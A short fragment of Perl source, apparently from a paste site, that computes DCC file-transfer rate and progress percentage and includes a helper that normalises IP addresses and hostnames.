  890. $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;
  891. my $porcen = ($cur_byte*100)/$bytes_total;
  892.  
  893. my ($r_duv, $p_duv);
  894. if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
  895. $r_duv = $3; $r_duv++ if $4 >= 5;
  896. $rate = "$1\.$2"."$r_duv";
  897. }
  898. if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
  899. $p_duv = $3; $p_duv++ if $4 >= 5;
  900. $porcen = "$1\.$2"."$p_duv";
  901. }
  902. return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen");
  903. }
  904.  
  905.  
  906. return(0);
  907. }
  908.  
  909.  
  910. sub fixaddr {
  911. my ($address) = @_;
  912.  
  913. chomp $address;
  914. if ($address =~ /^\d+$/) {
  915. return inet_ntoa(pack "N", $address);
  916. } elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
  917. return $address;
  918. } elsif ($address =~ tr/a-zA-Z//) {
  919. return inet_ntoa(((gethostbyname($address))[4])[0]);
  920. } else {
  921. return;
  922. }
  923. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement